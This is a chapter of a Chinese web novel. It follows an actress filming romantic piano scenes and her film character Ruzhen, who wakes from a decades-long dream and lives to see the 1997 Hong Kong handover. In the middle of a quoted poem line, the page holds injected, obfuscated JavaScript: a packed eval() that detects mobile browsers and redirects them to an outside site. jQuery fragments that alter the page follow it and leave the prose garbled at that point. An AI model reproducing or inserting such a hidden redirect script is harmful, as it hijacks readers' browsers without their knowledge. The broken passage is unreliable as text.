25. 情不知所起
作品:《快使用双截棍》 “别人不行吗?”
夏焰呆呆地望着面前的男人,看他怎样一点点靠近,看他怎样一点点吻上她的嘴角。
别人可以吗?
她不知道。
她坐在钢琴前,身旁的男人侧头轻吻她。
夏焰一动不动,听见导演再次喊停。
“卡!再保一条!两位能不能有点感情?”
邹城向导演耸耸肩。
“导演,我可是尽力了,这位完全不会回应我。”
夏焰看着他夸张地用力抹嘴巴。
导演叹气,让他们给点感情。
不知道从哪里掏出本《演员的自我修养》,放在钢琴架上,让他们俩认真学习。
夏焰在导演发出开拍的指令后继续开始弹琴,看着架子上的《演员自我修养》弹奏。
她不会弹琴,只在电影开拍前,学了两个月,夏焰学东西很快,这段时间练习下来动作已经初具雏形,不需要替身,自己就能完成这些钢琴镜头。
莫扎特的《欢乐颂》。
只有学了一段来回弹,然后夹杂着几句《小星星》。
“不是我也行吗?”
夏焰低头看着手指在钢琴键上跳跃。
“别人的吻也行吗?”
夏焰失手弹错了一个音,出现一个极低的音调,带着她往下坠。
钢琴键上出现另一双手,身旁的男人加入她的合奏。
她甩甩头,让如真重新占据她的身体。
如真侧头对男人微笑。
男人也对她笑。
“你弹得越来越好了。”
他的笑容更深,但不说话回应她的夸赞。
男人很少告诉如真关于自己的事。
如真至今不知道他来自哪里,只知道他的家乡有一座紫荆花雕塑。
男人名唤归鸿。
归家的鸿雁。
他们在钢琴曲里幽幽对视,如真羞垂眼,男人倾身吻上她的脸颊。
他们对着满园春色私定终身。
手指尖弹奏的音乐催发一朵朵迷人的鲜花。
那小小的黄色蝴蝶又飞进花园,穿过一朵朵玫瑰,茉莉,绣球花,垂在它们娇嫩的花瓣上。
那只从如真手心飞走的黄蝴蝶,又翩翩飞回她的手心。
音乐戛然而止。
如真捧起黄蝴蝶,这次她没有用手把它拢合在两个手掌间。
她只是手心向上,虔诚许愿,希望蝴蝶在她的掌心久久停留。
“如真,你真的抓到蝴蝶了吗?”
如真耳后的头发随着她低头的动作垂到面前,挡住她的表情。
“如真?”
如真抬起脸望向母亲,母亲身后的阳光太过刺眼,让她看不清母亲的脸。
她下意识想闭眼,却舍不得阳光的明亮。
就这么直视天上那遥不可及的太阳。
“举目见日,不见长安。”
男人的声音传进她的耳朵。
“那是真的吗?”
“什么?”
如真抬抬下巴指向太阳。
“你为什么觉得它是假的?”
“我觉得冷。”
“那你觉得我是真实存在的吗?”
如真眨眨眼,太阳光刺激她的眼睛分泌出两行泪水。
“我不知道。”
“那你呢?你是真实存在的吗?”
“我?”如真迷恋地看着太阳,听见他说的话发出嗤笑,“我不知道。”
“如真,我要走了。”
“噢。明晚见。”如真不清楚他的声音到底来自何处,又或许散落在她身边每一个地方。
“等你再做梦的时候,我们再见面。”
声音消失不见。
一切声音都消失不见。
如真藏在真空的花园一角。
永远不会凋谢的假花,不会歌唱的百灵鸟,连天边的太阳也是假的。
只有落在手心的蝴蝶……
“如真,你真的抓到蝴蝶了吗?”
如真猛然低头,掌心空空如也,只有一颗泪珠被她接住。
“醒醒,如真。”
“醒来吧,我的女儿。”
如真听见女人的抽泣,断断续续地呼唤低语。
“如真…如真…如真……”
如真把脸贴在母亲的手心,比阳光还要温暖。
“妈妈。”
“如真!来人啊!快来人啊!看看我的女儿!”
如真睁开眼睛,首先恢复的是听觉,接下来才是视觉。
她看见床前的女人紧紧抓住她抬起的手。
女人的脸上充满陌生的皱纹,一头苍白的头发找不出曾经乌黑秀美的样子。
匆匆跑进房间的父亲,身旁一个没见过的女人,像年轻时候的母亲。
如真朝她伸手:“阿妈。”
发出的嘶哑声音让所有人愣住。
床前的女人抽泣着,拉过她的手,不停地亲吻。
“真真,妈妈在这。”
一别经年。
如真做了好久的梦,她说不清楚,究竟是美梦还是噩梦。
原来她没有成为剑桥的老师,没有在课上给学生讲过诗词,更没有和总理握手。
但她真的坐上一艘开往中国的邮轮。真的踩上那片敦实富饶的土地,她日思夜想的故乡。
然后带着美梦回到家里一睡不醒。
母亲熬白了头发,哭瞎了眼睛。
无数次呼唤她的名字,撕裂了喉咙。
曾经英俊的父亲变得大腹便便,妹妹磕掉的牙齿早就重新长回,奶娘在去世前还挂念着如真,一直喊她回家。
如真今年已经三十五岁。
睡得真够久的,她把这辈子的梦都做完了,泪也流干了,从此以后再也不做梦了。
如真没法再做的梦全都交给夏焰。
夏焰觉得自己时常被困在梦里,趴在桌子上小憩,听见导演宣布邹城杀青,祝他杀青快乐。
她想抬起头来,跟着欢呼两声送走邹城。
却始终抬不起头来,好像被什么东西压住脖子,她光怪陆离的梦,缠着她无法脱身。
直到有人摇晃她的肩膀,叫她的名字。
“夏焰。”
夏焰却觉得对方叫错了名字。
“夏焰!”
夏焰意识到声音的主人是谁,心脏突然狂跳不止,奋力从梦里的如真手里抢过柳枝。
猛然抬头的夏焰眼前还闪着黑点。
眼前的林砚之不太真实,她用手指点点他的鼻尖。
男人露出惊讶的神情却并不闪躲。
他反握住夏焰的手腕。
“你还好吗?”
夏焰茫然地点点头。
好。
那颗痣又偷偷露出来,夏焰才发现林砚之嘴角绷紧。
他问:“你还需要吗?”
他问她是否还需要一个吻。
夏焰面无表情地盯着他嘴角的那颗痣。
林砚之不自在地抿了下嘴,把痣藏进阴影里。
替夏焰做出决定。
“今天就不了吧,试试看,不是我行不行。”
夏焰的脑袋一片空白。
她看着林砚之离开时翻飞的衣角,像那只悠然离开的蝴蝶。
正如同那句“我挥一挥衣袖,不带走一片云彩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970585|191705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
如真终于如愿坐在康河的柔波里,柔软的风拂过她的秀发,仍然秀丽却多出几根白发。
此时她已经四十岁。
再也没做过梦。
当年的医生已经老态龙钟,他亲吻如真的脸颊。
“亲爱的,完全不做梦,也不算一件坏事。”他懂得如真的不安。
如真点头轻笑:“也不是完全不做梦,我的梦现在出现课本里,在一句句诗里。”
如真开设诗词课,教给学生古今中外的诗,一个个遥不可及又近在咫尺的梦。
她还是最喜欢中国诗词。
含蓄的,豪迈的,悲伤的,快乐的,留恋不舍的。
她自己也写诗,但是一句也没发表过。
她笔耕不辍,又是三十年。
“杜老师,我们想邀请您回国一起去见证香港回归。”
如真此时已经七十,家人已经陆续离世,只留她一人在人世间漂泊,她有些疲惫了,决定把她的最后年华留在故乡。
“这是在做什么?”如真指向墙上的几幅设计图,向身边的人询问。
“杜老师,这是给香港回归的献礼,这几幅都是选出的优秀设计稿。”
如真戴上老花镜,一张张认真的看过去,最后停留在其中一张设计图前。
她豁然地笑了。
“我喜欢这个。”她用手轻轻一指,突然展现一点羞怯的小女孩情思,转瞬即逝。
“我也喜欢这个!”同行的女学生笑着抱住如真的手臂,亲昵的靠在她的肩头。
“如果选出来了,你要告诉我,选的是什么。”
如真没有投票的权利,她迫不及待地想知道答案。
一个月后她真的收到了回复,一个年轻的警务员告诉她,选的正是她指的那副设计图作为最终设计。
如真笑着戴上眼镜,发现面前的男人正是梦里出现过的那个军人,他答应如真一定会告诉她那个雕塑在哪,他遵守了他的诺言。
如真笑着流泪,把周围人都吓坏了。
“年纪大了,就是想的多,不碍事。”她反过来安慰大家。
1997年7月1日,香港回归祖国。
五星红旗冉冉升起,夜空中百朵烟花齐齐绽放,只为庆祝这一时刻。
如真同返回祖国的华人华侨坐在一起,在礼堂参加晚会。
台上的主持人介绍着下一个节目。
童声合唱《七子之歌》。
同时从舞台后缓缓走出一个男孩,看他大方得体端坐在钢琴前,抬手在钢琴键上只等开唱。
主持人向大家介绍。
钢琴伴奏:柳归鸿。
天真稚嫩的童声响彻礼堂,动人的钢琴曲拨动着在场每个人的心。
如真流泪了,像孩子那样不知所措地哭。
是天真无邪的童声引她入梦吗?
她一步步踩在鹅卵石上,小心跳过草地,走到花园。
这里已经被荒废了。
空无一人的花园不再有花生长。
如真的手在湿润的泥土里翻找,找出一截还带着金粉的蝴蝶翅膀。
她把蝴蝶放在掌心,又把手掌凑到面前,呼气一吹。
那半截翅膀像死而复生那样重新起舞,却只能向泥土的方向坠落。
快要坠地的时候被人一把捞起,他向上一挥,蝴蝶真的复活,向天空飞去,去追逐苍白的云,自由的鸟。
万物复苏,百花齐放,如真站在花园的正中央,被百花仙子围绕,闻到许久未闻的花香。
她笑着招手。
直到恋人贴近,她在他的耳旁低语,她要一句句的告诉他,她怎样写出这些诗词。

